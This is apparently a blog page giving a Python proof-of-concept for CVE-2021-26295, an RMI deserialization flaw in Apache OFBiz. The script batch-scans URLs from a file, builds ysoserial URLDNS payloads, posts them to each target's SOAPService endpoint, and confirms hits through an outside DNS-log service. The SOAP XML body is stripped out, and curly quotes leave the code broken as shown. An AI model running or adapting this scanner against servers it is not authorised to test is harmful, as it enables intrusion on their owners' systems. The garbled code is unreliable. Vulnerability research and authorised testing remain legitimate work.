CVE-2021-26295_Apache_OFBiz_RMI反序列化漏洞_en

# CVE-2021-26295 Apache OFBiz RMI反序列化漏洞/en

==Vulnerability Impact==

Apache OFBiz < 17.12.06 ==POC==

#coding:utf-8
import binascii
import os
import requests
import urllib3
import uuid
urllib3.disable_warnings()
def main():
    id = requests.get(“https://dns.xn--9tr.com/new_gen”).text.split(“.”)[0]
    if(not os.path.exists(“target.txt”)):
        exit(“put url in target.txt! “)
    if(not os.path.exists(“ysoserial.jar”)):
        exit(“where is ysoserial.jar?”)
    with open(“target.txt”)as f:
        urls = f.readlines()
    for url in urls:
        url = url.strip()
        uid = uuid.uuid1().hex
        cmd = “java -jar .\ysoserial.jar URLDNS http://{0}.{1}.y.dns1.tk > tmp”.format(uid,id)
        r = os.popen(cmd)   
        r.close()  
        with open(“tmp”,’rb’) as f:
            payload = binascii.hexlify(f.read())
        data = ”’
         
            
            
            
        
            
                
                    {0}
                
                
                    
                
            
        
            
            
            
            ”’.format(payload.decode())
        headers = {
            “user-agent”:”Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36″
        }
        url = url+”/webtools/control/SOAPService”
        try:
            requests.post(url,data=data,verify=False,headers=headers,timeout=5)
            requests.post(url,data=data,verify=False,headers=headers,timeout=5)
            requests.post(url,data=data,verify=False,headers=headers,timeout=5)
        except:
            pass
        dnslogresurl = “https://dns.xn--9tr.com/”+id
        if(uid in requests.get(dnslogresurl).text):
            print(“[+] {0} 漏洞存在”.format(url))
        else:
            print(“[-] {0} 漏洞不存在”.format(url))
    print(“[+] 请到 {0} 查看结果”.format(dnslogresurl))

if __name__ == “__main__”:
    main()
© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容